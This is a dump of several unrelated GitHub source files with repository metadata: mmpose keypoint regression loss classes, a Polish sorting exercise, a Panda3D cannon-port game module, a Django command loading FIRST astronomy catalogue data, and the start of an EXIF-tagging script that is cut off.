super(RLELoss, self).__init__()\n self.size_average = size_average\n self.use_target_weight = use_target_weight\n self.residual = residual\n self.q_dis = q_dis\n\n self.flow_model = RealNVP()\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D*2]): Output regression,\n including coords and sigmas.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N, K, D]):\n Weights across different joint types.\n \"\"\"\n pred = output[:, :, :2]\n sigma = output[:, :, 2:4].sigmoid()\n\n error = (pred - target) / (sigma + 1e-9)\n # (B, K, 2)\n log_phi = self.flow_model.log_prob(error.reshape(-1, 2))\n log_phi = log_phi.reshape(target.shape[0], target.shape[1], 1)\n log_sigma = torch.log(sigma).reshape(target.shape[0], target.shape[1],\n 2)\n nf_loss = log_sigma - log_phi\n\n if self.residual:\n assert self.q_dis in ['laplace', 'gaussian', 'strict']\n if self.q_dis == 'laplace':\n loss_q = torch.log(sigma * 2) + torch.abs(error)\n else:\n loss_q = torch.log(\n sigma * math.sqrt(2 * math.pi)) + 0.5 * error**2\n\n loss = nf_loss + loss_q\n else:\n loss = nf_loss\n\n if self.use_target_weight:\n assert target_weight is not None\n loss *= target_weight\n\n if self.size_average:\n loss /= len(loss)\n\n return loss.sum()\n\n\n@LOSSES.register_module()\nclass SmoothL1Loss(nn.Module):\n \"\"\"SmoothL1Loss loss.\n\n Args:\n use_target_weight (bool): Option to use weighted MSE loss.\n Different joint types may have different target weights.\n loss_weight (float): Weight of the loss. Default: 1.0.\n \"\"\"\n\n def __init__(self, use_target_weight=False, loss_weight=1.):\n super().__init__()\n self.criterion = F.smooth_l1_loss\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N, K, D]):\n Weights across different joint types.\n \"\"\"\n if self.use_target_weight:\n assert target_weight is not None\n loss = self.criterion(output * target_weight,\n target * target_weight)\n else:\n loss = self.criterion(output, target)\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass WingLoss(nn.Module):\n \"\"\"Wing Loss. paper ref: 'Wing Loss for Robust Facial Landmark Localisation\n with Convolutional Neural Networks' Feng et al. CVPR'2018.\n\n Args:\n omega (float): Also referred to as width.\n epsilon (float): Also referred to as curvature.\n use_target_weight (bool): Option to use weighted MSE loss.\n Different joint types may have different target weights.\n loss_weight (float): Weight of the loss. Default: 1.0.\n \"\"\"\n\n def __init__(self,\n omega=10.0,\n epsilon=2.0,\n use_target_weight=False,\n loss_weight=1.):\n super().__init__()\n self.omega = omega\n self.epsilon = epsilon\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n # constant that smoothly links the piecewise-defined linear\n # and nonlinear parts\n self.C = self.omega * (1.0 - math.log(1.0 + self.omega / self.epsilon))\n\n def criterion(self, pred, target):\n \"\"\"Criterion of wingloss.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n pred (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n \"\"\"\n delta = (target - pred).abs()\n losses = torch.where(\n delta < self.omega,\n self.omega * torch.log(1.0 + delta / self.epsilon), delta - self.C)\n return torch.mean(torch.sum(losses, dim=[1, 2]), dim=0)\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N,K,D]):\n Weights across different joint types.\n \"\"\"\n if self.use_target_weight:\n assert target_weight is not None\n loss = self.criterion(output * target_weight,\n target * target_weight)\n else:\n loss = self.criterion(output, target)\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass SoftWingLoss(nn.Module):\n \"\"\"Soft Wing Loss 'Structure-Coherent Deep Feature Learning for Robust Face\n Alignment' Lin et al. TIP'2021.\n\n loss =\n 1. |x| , if |x| < omega1\n 2. omega2*ln(1+|x|/epsilon) + B, if |x| >= omega1\n\n Args:\n omega1 (float): The first threshold.\n omega2 (float): The second threshold.\n epsilon (float): Also referred to as curvature.\n use_target_weight (bool): Option to use weighted MSE loss.\n Different joint types may have different target weights.\n loss_weight (float): Weight of the loss. Default: 1.0.\n \"\"\"\n\n def __init__(self,\n omega1=2.0,\n omega2=20.0,\n epsilon=0.5,\n use_target_weight=False,\n loss_weight=1.):\n super().__init__()\n self.omega1 = omega1\n self.omega2 = omega2\n self.epsilon = epsilon\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n # constant that smoothly links the piecewise-defined linear\n # and nonlinear parts\n self.B = self.omega1 - self.omega2 * math.log(1.0 + self.omega1 /\n self.epsilon)\n\n def criterion(self, pred, target):\n \"\"\"Criterion of wingloss.\n\n Note:\n batch_size: N\n num_keypoints: K\n dimension of keypoints: D (D=2 or D=3)\n\n Args:\n pred (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n \"\"\"\n delta = (target - pred).abs()\n losses = torch.where(\n delta < self.omega1, delta,\n self.omega2 * torch.log(1.0 + delta / self.epsilon) + self.B)\n return torch.mean(torch.sum(losses, dim=[1, 2]), dim=0)\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n batch_size: N\n num_keypoints: K\n dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N, K, D]):\n Weights across different joint types.\n \"\"\"\n if self.use_target_weight:\n assert target_weight is not None\n loss = self.criterion(output * target_weight,\n target * target_weight)\n else:\n loss = self.criterion(output, target)\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass MPJPELoss(nn.Module):\n \"\"\"MPJPE (Mean Per Joint Position Error) loss.\n\n Args:\n use_target_weight (bool): Option to use weighted MSE loss.\n Different joint types may have different target weights.\n loss_weight (float): Weight of the loss. Default: 1.0.\n \"\"\"\n\n def __init__(self, use_target_weight=False, loss_weight=1.):\n super().__init__()\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N,K,D]):\n Weights across different joint types.\n \"\"\"\n\n if self.use_target_weight:\n assert target_weight is not None\n loss = torch.mean(\n torch.norm((output - target) * target_weight, dim=-1))\n else:\n loss = torch.mean(torch.norm(output - target, dim=-1))\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass L1Loss(nn.Module):\n \"\"\"L1Loss loss .\"\"\"\n\n def __init__(self, use_target_weight=False, loss_weight=1.):\n super().__init__()\n self.criterion = F.l1_loss\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n\n Args:\n output (torch.Tensor[N, K, 2]): Output regression.\n target (torch.Tensor[N, K, 2]): Target regression.\n target_weight (torch.Tensor[N, K, 2]):\n Weights across different joint types.\n \"\"\"\n if self.use_target_weight:\n assert target_weight is not None\n loss = self.criterion(output * target_weight,\n target * target_weight)\n else:\n loss = self.criterion(output, target)\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass MSELoss(nn.Module):\n \"\"\"MSE loss for coordinate regression.\"\"\"\n\n def __init__(self, use_target_weight=False, loss_weight=1.):\n super().__init__()\n self.criterion = F.mse_loss\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n\n Args:\n output (torch.Tensor[N, K, 2]): Output regression.\n target (torch.Tensor[N, K, 2]): Target regression.\n target_weight (torch.Tensor[N, K, 2]):\n Weights across different joint types.\n \"\"\"\n if self.use_target_weight:\n assert target_weight is not None\n loss = self.criterion(output * target_weight,\n target * target_weight)\n else:\n loss = self.criterion(output, target)\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass BoneLoss(nn.Module):\n \"\"\"Bone length loss.\n\n Args:\n joint_parents (list): Indices of each joint's parent joint.\n use_target_weight (bool): Option to use weighted bone loss.\n Different bone types may have different target weights.\n loss_weight (float): Weight of the loss. Default: 1.0.\n \"\"\"\n\n def __init__(self, joint_parents, use_target_weight=False, loss_weight=1.):\n super().__init__()\n self.joint_parents = joint_parents\n self.use_target_weight = use_target_weight\n self.loss_weight = loss_weight\n\n self.non_root_indices = []\n for i in range(len(self.joint_parents)):\n if i != self.joint_parents[i]:\n self.non_root_indices.append(i)\n\n def forward(self, output, target, target_weight=None):\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N, K-1]):\n Weights across different bone types.\n \"\"\"\n output_bone = torch.norm(\n output - output[:, self.joint_parents, :],\n dim=-1)[:, self.non_root_indices]\n target_bone = torch.norm(\n target - target[:, self.joint_parents, :],\n dim=-1)[:, self.non_root_indices]\n if self.use_target_weight:\n assert target_weight is not None\n loss = torch.mean(\n torch.abs((output_bone * target_weight).mean(dim=0) -\n (target_bone * target_weight).mean(dim=0)))\n else:\n loss = torch.mean(\n torch.abs(output_bone.mean(dim=0) - target_bone.mean(dim=0)))\n\n return loss * self.loss_weight\n\n\n@LOSSES.register_module()\nclass SemiSupervisionLoss(nn.Module):\n \"\"\"Semi-supervision loss for unlabeled data. It is composed of projection\n loss and bone loss.\n\n Paper ref: `3D human pose estimation in video with temporal convolutions\n and semi-supervised training` Dario Pavllo et al. CVPR'2019.\n\n Args:\n joint_parents (list): Indices of each joint's parent joint.\n projection_loss_weight (float): Weight for projection loss.\n bone_loss_weight (float): Weight for bone loss.\n warmup_iterations (int): Number of warmup iterations. In the first\n `warmup_iterations` iterations, the model is trained only on\n labeled data, and semi-supervision loss will be 0.\n This is a workaround since currently we cannot access\n epoch number in loss functions. Note that the iteration number in\n an epoch can be changed due to different GPU numbers in multi-GPU\n settings. So please set this parameter carefully.\n warmup_iterations = dataset_size // samples_per_gpu // gpu_num\n * warmup_epochs\n \"\"\"\n\n def __init__(self,\n joint_parents,\n projection_loss_weight=1.,\n bone_loss_weight=1.,\n warmup_iterations=0):\n super().__init__()\n self.criterion_projection = MPJPELoss(\n loss_weight=projection_loss_weight)\n self.criterion_bone = BoneLoss(\n joint_parents, loss_weight=bone_loss_weight)\n self.warmup_iterations = warmup_iterations\n self.num_iterations = 0\n\n @staticmethod\n def project_joints(x, intrinsics):\n \"\"\"Project 3D joint coordinates to 2D image plane using camera\n intrinsic parameters.\n\n Args:\n x (torch.Tensor[N, K, 3]): 3D joint coordinates.\n intrinsics (torch.Tensor[N, 4] | torch.Tensor[N, 9]): Camera\n intrinsics: f (2), c (2), k (3), p (2).\n \"\"\"\n while intrinsics.dim() < x.dim():\n intrinsics.unsqueeze_(1)\n f = intrinsics[..., :2]\n c = intrinsics[..., 2:4]\n _x = torch.clamp(x[:, :, :2] / x[:, :, 2:], -1, 1)\n if intrinsics.shape[-1] == 9:\n k = intrinsics[..., 4:7]\n p = intrinsics[..., 7:9]\n\n r2 = torch.sum(_x[:, :, :2]**2, dim=-1, keepdim=True)\n radial = 1 + torch.sum(\n k * torch.cat((r2, r2**2, r2**3), dim=-1),\n dim=-1,\n keepdim=True)\n tan = torch.sum(p * _x, dim=-1, keepdim=True)\n _x = _x * (radial + tan) + p * r2\n _x = f * _x + c\n return _x\n\n def forward(self, output, target):\n losses = dict()\n\n self.num_iterations += 1\n if self.num_iterations <= self.warmup_iterations:\n return losses\n\n labeled_pose = output['labeled_pose']\n unlabeled_pose = output['unlabeled_pose']\n unlabeled_traj = output['unlabeled_traj']\n unlabeled_target_2d = target['unlabeled_target_2d']\n intrinsics = target['intrinsics']\n\n # projection loss\n unlabeled_output = unlabeled_pose + unlabeled_traj\n unlabeled_output_2d = self.project_joints(unlabeled_output, intrinsics)\n loss_proj = self.criterion_projection(unlabeled_output_2d,\n unlabeled_target_2d, None)\n losses['proj_loss'] = loss_proj\n\n # bone loss\n loss_bone = self.criterion_bone(unlabeled_pose, labeled_pose, None)\n losses['bone_loss'] = loss_bone\n\n return losses\n\n\n\n\n# tfj\n@LOSSES.register_module()\nclass DSNTLoss(nn.Module):\n \"\"\"SmoothL1Loss loss.\n\n Args:\n use_target_weight (bool): Option to use weighted MSE loss.\n Different joint types may have different target weights.\n loss_weight (float): Weight of the loss. Default: 1.0.\n \"\"\"\n\n def __init__(self, use_target_weight=False, sigma = 1, mse_weight=1,js_weight = 1, is_dsnt = True):\n super().__init__()\n \n self.mse = dsntnn.euclidean_losses\n self.js = dsntnn.js_reg_losses\n self.avg = dsntnn.average_loss\n\n self.use_target_weight = use_target_weight\n self.mse_weight = mse_weight\n self.js_weight = js_weight\n self.sigma = sigma\n\n def forward(self, output, target, heatmap,target_weight=None): # 预测坐标,gt坐标,预测热图, (n,num_joints,h,w)\n \"\"\"Forward function.\n\n Note:\n - batch_size: N\n - num_keypoints: K\n - dimension of keypoints: D (D=2 or D=3)\n\n Args:\n output (torch.Tensor[N, K, D]): Output regression.\n target (torch.Tensor[N, K, D]): Target regression.\n target_weight (torch.Tensor[N, K, D]):\n Weights across different joint types.\n \"\"\"\n if self.use_target_weight:\n assert target_weight is not None\n mse_loss = self.mse(output * target_weight,\n target * target_weight)\n else:\n mse_loss = self.mse(output, target)\n js_loss = self.js(heatmap, target, sigma_t=self.sigma)\n\n loss = self.avg(self.mse_weight*mse_loss + self.js_weight*js_loss)\n\n return loss\n\n\n@LOSSES.register_module()\nclass DSNTRLELoss(nn.Module):\n \"\"\"SmoothL1Loss loss.\n\n Args:\n rle损失+dsnt损失\n \"\"\"\n\n def __init__(self, dsnt_param, rle_param, dsnt_weight, rle_weight):\n super().__init__()\n \n dsnt_use_target_weight = getattr(dsnt_param,'use_target_weight',True)\n sigma = getattr(dsnt_param,'sigma',0.25)\n mse_weight = getattr(dsnt_param,'mse_weight',1)\n js_weight = getattr(dsnt_param,'js_weight',1)\n self.dsnt = DSNTLoss(dsnt_use_target_weight,sigma,mse_weight,js_weight)\n\n rle_use_target_weight = getattr(rle_param,'use_target_weight',True)\n size_average = getattr(rle_param,'size_average',True)\n residual = getattr(rle_param,'residual',True)\n self.rle = RLELoss(rle_use_target_weight,size_average,residual)\n self.dw = dsnt_weight\n self.re = rle_weight\n\n\n def forward(self, output, target, heatmap,target_weight=None):\n \n dsnt_loss = self.dsnt(output[...,:2], target, heatmap, target_weight)\n rle_loss = self.rle(output, target, target_weight)\n loss = self.dw*dsnt_loss + rle_loss*self.re\n\n return loss\n\n\nclass KLDiscretLoss(nn.Module):\n def __init__(self):\n super(KLDiscretLoss, self).__init__()\n self.LogSoftmax = nn.LogSoftmax(dim=1) #[B,LOGITS]\n self.criterion_ = nn.KLDivLoss(reduction='none')\n \n def criterion(self, dec_outs, labels):\n scores = self.LogSoftmax(dec_outs)\n loss = torch.mean(self.criterion_(scores, labels), dim=1) \n return loss\n\n def forward(self, output_x, output_y, target_x, target_y, target_weight):\n num_joints = output_x.size(1)\n loss = 0\n\n for idx in range(num_joints):\n coord_x_pred = output_x[:,idx].squeeze()\n coord_y_pred = output_y[:,idx].squeeze()\n coord_x_gt = target_x[:,idx].squeeze()\n coord_y_gt = target_y[:,idx].squeeze()\n weight = target_weight[:,idx,0].squeeze()\n loss += (self.criterion(coord_x_pred,coord_x_gt).mul(weight).mean()) \n loss += (self.criterion(coord_y_pred,coord_y_gt).mul(weight).mean())\n return loss / num_joints \n\n\n@LOSSES.register_module()\nclass DSNTRLE_SimC_Loss(nn.Module):\n \"\"\"SmoothL1Loss loss.\n\n Args:\n rle损失+dsnt损失+simcc损失\n \"\"\"\n\n def __init__(self, dsnt_param, rle_param, dsnt_weight, rle_weight, simc_weight):\n super().__init__()\n \n dsnt_use_target_weight = getattr(dsnt_param,'use_target_weight',True)\n sigma = getattr(dsnt_param,'sigma',0.25)\n mse_weight = getattr(dsnt_param,'mse_weight',1)\n js_weight = getattr(dsnt_param,'js_weight',1)\n self.dsnt = DSNTLoss(dsnt_use_target_weight,sigma,mse_weight,js_weight)\n\n rle_use_target_weight = getattr(rle_param,'use_target_weight',True)\n size_average = getattr(rle_param,'size_average',True)\n residual = getattr(rle_param,'residual',True)\n self.rle = RLELoss(rle_use_target_weight,size_average,residual)\n self.simc = KLDiscretLoss()\n \n self.dw = dsnt_weight\n self.re = rle_weight\n self.sw = simc_weight\n\n\n def forward(self, output, target,pred_x,pred_y,target_x,target_y, heatmap,target_weight):\n \n dsnt_loss = self.dsnt(output[...,:2], target, heatmap, target_weight)\n rle_loss = self.rle(output, target, target_weight)\n cimc_loss = self.simc(pred_x, pred_y, target_x, target_y, target_weight)\n\n loss = self.dw*dsnt_loss + rle_loss*self.re + cimc_loss*self.sw\n\n return loss\n\n\n@LOSSES.register_module()\nclass DSNTRLE_SimC_Loss2(nn.Module): # simcc也求期望得到坐标值,和dsnt类似\n \"\"\"SmoothL1Loss loss.\n\n Args:\n rle损失+dsnt损失+simcc损失\n \"\"\"\n\n def __init__(self, simc_param, rle_param, rle_weight, simc_weight):\n super().__init__()\n \n rle_use_target_weight = getattr(rle_param,'use_target_weight',True)\n size_average = getattr(rle_param,'size_average',True)\n residual = getattr(rle_param,'residual',True)\n self.rle = RLELoss(rle_use_target_weight,size_average,residual)\n\n self.l1 = F.l1_loss\n self.rw = rle_weight\n self.sw = simc_weight\n\n\n def forward(self, output, target,pred_x,pred_y,target_x,target_y,heatmap,target_weight):\n \n simc_pred = output[...,:2]\n rle_loss = self.rle(output, target, target_weight)\n # cimc_loss = self.simc(pred_x, pred_y, target_x, target_y, target_weight)\n \n simc_loss = self.l1(simc_pred * target_weight,target * target_weight)\n\n loss = rle_loss*self.rw + simc_loss*self.sw\n\n return loss,rle_loss,simc_loss\n\n\n\n@LOSSES.register_module()\nclass DSNTRLE_SimC_Loss3(nn.Module): # simcc也求期望得到坐标值,和dsnt类似\n \"\"\"SmoothL1Loss loss.\n\n Args:\n rle损失+dsnt损失+simcc损失\n \"\"\"\n\n def __init__(self, simc_param, rle_param, rle_weight, simc_weight):\n super().__init__()\n \n rle_use_target_weight = getattr(rle_param,'use_target_weight',True)\n size_average = getattr(rle_param,'size_average',True)\n residual = getattr(rle_param,'residual',True)\n self.rle = RLELoss(rle_use_target_weight,size_average,residual)\n self.simc = KLDiscretLoss()\n\n self.l1 = F.l1_loss\n self.rw = rle_weight\n self.sw = simc_weight\n\n\n def forward(self, output, target,pred_x,pred_y,target_x,target_y,heatmap,target_weight):\n \n simc_pred = output[...,:2]\n rle_loss = self.rle(output, target, target_weight)\n simc_loss = self.simc(pred_x, pred_y, target_x, target_y, target_weight)\n \n simc_dsnt_loss = self.l1(simc_pred * target_weight,target * target_weight)\n\n loss = rle_loss*self.rw + simc_dsnt_loss*self.sw + simc_loss\n\n return loss,rle_loss,simc_dsnt_loss,simc_loss","repo_name":"TnoobT/mmpose0270","sub_path":"mmpose/models/losses/regression_loss.py","file_name":"regression_loss.py","file_ext":"py","file_size_in_byte":25734,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"21843971770","text":"def sort_wybierz():\n for i in range(len(numbers)):\n min_idx = i\n for j in range(i+1, len(numbers)):\n if numbers[min_idx] > numbers[j]:\n min_idx = j\n numbers[i], numbers[min_idx] = numbers[min_idx], numbers[i]\n\n\ndef sort_wstaw():\n for i in range(1, len(numbers)):\n key = numbers[i]\n j = i-1\n while j >= 0 and key < numbers[j]:\n numbers[j + 1] = numbers[j]\n j -= 1\n numbers[j + 1] = key\n\n\ndef sort_bubble():\n #numbers = [5 ,4 ,3 ,5 ,1]\n temp = 0\n sortowanie = True\n while sortowanie == True:\n sortowanie = False\n for i in range(len(numbers) - 1 - temp):\n if numbers[i] > numbers[i + 1]:\n numbers[i], numbers[i+1] = numbers[i + 1], numbers[i]\n sortowanie = True\n temp += 1\n\n\n# Użytkownik wybiera sposób sortowania\nprint(\"Wybierz sposób sortowania:\")\nprint(\"1 - sortowanie przez wybieranie\")\nprint(\"2 - ssortowanie przez wstawianie\")\nprint(\"3 - sortowanie bombelkowe\")\nchoice = int(input())\n\n# Użytkownik wpisuje 5 liczb\nnumbers = []\nprint(\"Wprowadź pięć liczb oddzielonych spacją:\")\nnumbers = [int(x) for x in input().split()]\n\nif choice == 1: # Sortowanie przez wybieranie\n sort_wybierz()\nelif choice == 2:\n sort_wstaw() # Sortowanie przez wstawianie\nelif choice == 3:\n sort_bubble() # Sortowanie bombelkowe\n\nprint(\"Posortowane liczby:\")\nfor i in numbers:\n print(i, end=\" \")\nprint()\nend = input(\"wcisnij enter\")\n","repo_name":"DimmeSs/inf04-study-PYTHON","sub_path":"Uzytkownik_wybiera_sposob_sortowania.py","file_name":"Uzytkownik_wybiera_sposob_sortowania.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10261082081","text":"from pirates.piratesbase.PiratesGlobals import *\nfrom direct.interval.IntervalGlobal import *\nfrom direct.interval.AnimControlInterval import AnimControlInterval\nfrom pirates.piratesbase import PiratesGlobals\nfrom pandac.PandaModules import *\nfrom direct.actor import Actor\nfrom pirates.ship import ShipGlobals\nfrom pirates.effects.Bonfire import Bonfire\nfrom pirates.battle.EnemySkills import EnemySkills\nCannonPortDict = {InventoryType.CannonL1: 'plain',InventoryType.CannonL2: 'plain',InventoryType.CannonL3: 'plain',InventoryType.CannonL4: 'plain',ShipGlobals.Cannons.BP: 'blackPearl',ShipGlobals.Cannons.Skel_L1: 'skeleton',ShipGlobals.Cannons.Skel_L2: 'skeleton',ShipGlobals.Cannons.Skel_L3: 'skeleton'}\nDefaultAnimDict = (\n ('zero', '_zero'), ('Fire', '_fire'), ('Open', '_open'), ('Close', '_close'))\n\nclass PortCache():\n\n def __init__(self, root):\n self.root = root\n\n def getPort(self):\n root = self.root.copyTo(NodePath())\n char = root.find('+Character')\n lod = char.find('+LODNode')\n controls = []\n charBundle = char.node().getBundle(0)\n return (\n root, char, lod)\n\n\nclass CannonPort(NodePath):\n notify = directNotify.newCategory('cannonPort')\n portModels = {}\n portBundles = []\n\n def __init__(self, cannonType, side, index):\n NodePath.__init__(self, 'cannonPort')\n if not self.portModels:\n self.setupPortModels()\n self.cannonType = cannonType\n self.side = side\n self.index = index\n self.locator = None\n if side == 0:\n self.skillId = EnemySkills.LEFT_BROADSIDE\n else:\n self.skillId = EnemySkills.RIGHT_BROADSIDE\n self.CannonPortAnimDict = {}\n self._loadModel(self.cannonType)\n self.loaded = False\n self.openIval = Sequence()\n self.fireIval = Sequence()\n self.closeIval = Sequence()\n return\n\n def _loadModel(self, cannonType):\n root, char, lod = self.portModels[cannonType].getPort()\n self.bundleHandle = char.node().getBundleHandle(0)\n self.root = char\n self.lod = lod\n self.loaded = True\n\n def delete(self):\n self.removeNode()\n self.ship = None\n return\n\n def playOpen(self, offset=0):\n self.openIval.start(offset, playRate=2.0)\n\n def playClosed(self, offset=0):\n self.closeIval.start(offset)\n\n def playFire(self, offset=0):\n self.fireIval.start(offset)\n\n def finalize(self):\n self.bundle = self.bundleHandle.getBundle()\n self.openControl = self.bundle.bindAnim(self.portBundles[0], -1)\n self.fireControl = self.bundle.bindAnim(self.portBundles[1], -1)\n self.closeControl = self.bundle.bindAnim(self.portBundles[2], -1)\n self.openIval = Sequence(AnimControlInterval(self.openControl))\n self.fireIval = Sequence(AnimControlInterval(self.fireControl))\n self.closeIval = Sequence(AnimControlInterval(self.closeControl))\n\n def setupPortModels(self):\n for name in ['open', 'fire', 'close']:\n model = loader.loadModel('models/shipparts/pir_a_shp_can_broadside_%s' % name)\n CannonPort.portBundles.append(model.find('**/+AnimBundleNode').node().getBundle())\n\n for val, suffix in CannonPortDict.iteritems():\n model = loader.loadModel('models/shipparts/pir_r_shp_can_broadside_%s' % suffix)\n char = model.find('**/+Character')\n root = NodePath('Port')\n high = char.find('**/cannon_port_high')\n med = char.find('**/cannon_port_med')\n low = char.find('**/cannon_port_low')\n for node in char.findAllMatches('**/+ModelNode'):\n node.node().setPreserveTransform(ModelNode.PTDropNode)\n\n high.detachNode()\n med.detachNode()\n low.detachNode()\n char.node().removeAllChildren()\n lod = LODNode('lodRoot')\n lod.addSwitch(200, 0)\n lod.addSwitch(500, 200)\n lod.addSwitch(100000, 500)\n lod = NodePath(lod)\n high.reparentTo(lod)\n med.reparentTo(lod)\n low.reparentTo(lod)\n lod.reparentTo(char)\n char.flattenStrong()\n char.reparentTo(root)\n portModel = PortCache(root)\n CannonPort.portModels[val] = portModel","repo_name":"PiratesOnlineRewritten/Pirates-Online-Rewritten","sub_path":"pirates/shipparts/CannonPort.py","file_name":"CannonPort.py","file_ext":"py","file_size_in_byte":4365,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"67"} +{"seq_id":"16578555078","text":"from django.core.management.base import BaseCommand, CommandError\nfrom first.models import FIRST\nimport os\nfrom django.conf import settings\nfrom datetime import datetime\nfrom astropy.io import fits\n\n\"\"\"\nLoad data from FIRST_data.fit, if data exsit then skip, else create new.\nwith data formate ('J110711.6+640737', 166.79847916666665, 64.12696666666666, 32.57, 's')\n\nfileName\n fit data file\n--limit \n Indicates the number of FIRST objects to be created\n\n--check\n If data exsit then skip, else create new. False by defaulte.\n\"\"\"\nclass Command(BaseCommand):\n help = 'Populate data from .fit file'\n\n def add_arguments(self, parser):\n parser.add_argument('fileName', type=str, help='FIT file name --exp FIRST_data.fit')\n # Optional argument\n parser.add_argument('-c', '--check', action='store_true',help='Check data exist or not,default is false', )\n parser.add_argument(\n '-l',\n '--limit', \n type=int,\n nargs=1,\n help='Indicates the number of FIRST objects to be created',\n )\n\n\n def handle(self, *args, **options):\n limit = None\n check=False\n fileName = options['fileName']\n if options['limit']:\n limit = (options['limit'][0])\n if options['check']:\n check=options['check']\n file_ext=fileName.split(\".\")\n try:\n if file_ext[1]==\"fit\" or file_ext[1]==\"FIT\":\n self.stdout.write(self.style.SUCCESS( 'Start: %s ' % (datetime.now())))\n # load data\n self.load_data(fileName,limit,check)\n\n self.stdout.write(self.style.SUCCESS('End: %s ' % (datetime.now())))\n self.stdout.write(self.style.SUCCESS('Successfully loaded'))\n else:\n self.stdout.write(self.style.WARNING('FAILURE! - Data file format must be .fit or .FIT'))\n except:\n self.stdout.write(self.style.SUCCESS('fileName is not valid --exp FIRST_data.fit'))\n \n def load_data(self,fileName,limit,check):\n print('Import FIT File')\n fit_file = os.path.join(settings.CIRADA_INITIAL_DATA_LOAD, fileName)\n with fits.open(fit_file) as hdul:\n hdul.info()\n count=0\n data_created=0\n data_skip=0\n try:\n data_total=len(hdul[1].data)\n for data in hdul[1].data:\n if count%10000==0:\n print(\"Total \"+str(count)+\"/\"+str(data_total)+\",skiped \"+str(data_skip))\n if check:\n found=FIRST.objects.filter(FIRST=data[0]).exists()\n if found:\n data_skip+=1\n else:\n self.create_obj(data,count)\n else:\n self.create_obj(data,count)\n count+=1\n print(\"Total \" +str(count)+\" ,\" +\"skiped \"+str(data_skip))\n except:\n print(\"HDU LIST [1] IS EMPTY\")\n \n def create_obj(self, data,count):\n try:\n FIRST.objects.create(FIRST=data[0],RAJ2000=data[1],DEJ2000=data[2],Fint=data[3],c1=data[4])\n except Exception as e:\n print(str(count)+\" \"+str(data[0])+\" \"+str(data[1])+\" \"+str(data[2])+\" \"+str(data[3])+\" \"+str(data[4]))\n print(e)\n\n ","repo_name":"panchyo0/CIRADA_FIRST","sub_path":"server/first/management/commands/load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"28453667609","text":"import os\nimport logging\nimport json\nimport pandas as pd\nimport piexif\nfrom datetime import datetime\nfrom tqdm import tqdm\nfrom pathlib import Path\nfrom lib_common import read_yaml\nfrom lib_tools import process_detections,contains_animal\nfrom PIL import Image\nfrom iptcinfo3 import IPTCInfo\n\nlogging.getLogger('iptcinfo').setLevel(logging.ERROR)\n\ndef get_keywords(file_path):\n try:\n info = IPTCInfo(file_path)\n except Exception as e:\n print(\"exception: \" + str(e))\n info = None\n # for k, v in info._data.items():\n # if k == 25: print(k, v)\n return info\n\ndef print_exif(exif_dict):\n if 33437 in exif_dict[\"Exif\"]:\n print(f'photo-fnumber-setting (detections): {exif_dict[\"Exif\"][33437]}')\n if 34855 in exif_dict[\"Exif\"]:\n print(f'photo-iso-setting (1st class): {exif_dict[\"Exif\"][34855]}')\n if 33434 in exif_dict[\"Exif\"]:\n print(f'photo-exposure-value (1st prob): {exif_dict[\"Exif\"][33434]}')\n if 37386 in exif_dict[\"Exif\"]:\n print(f'photo-focal-length (2nd 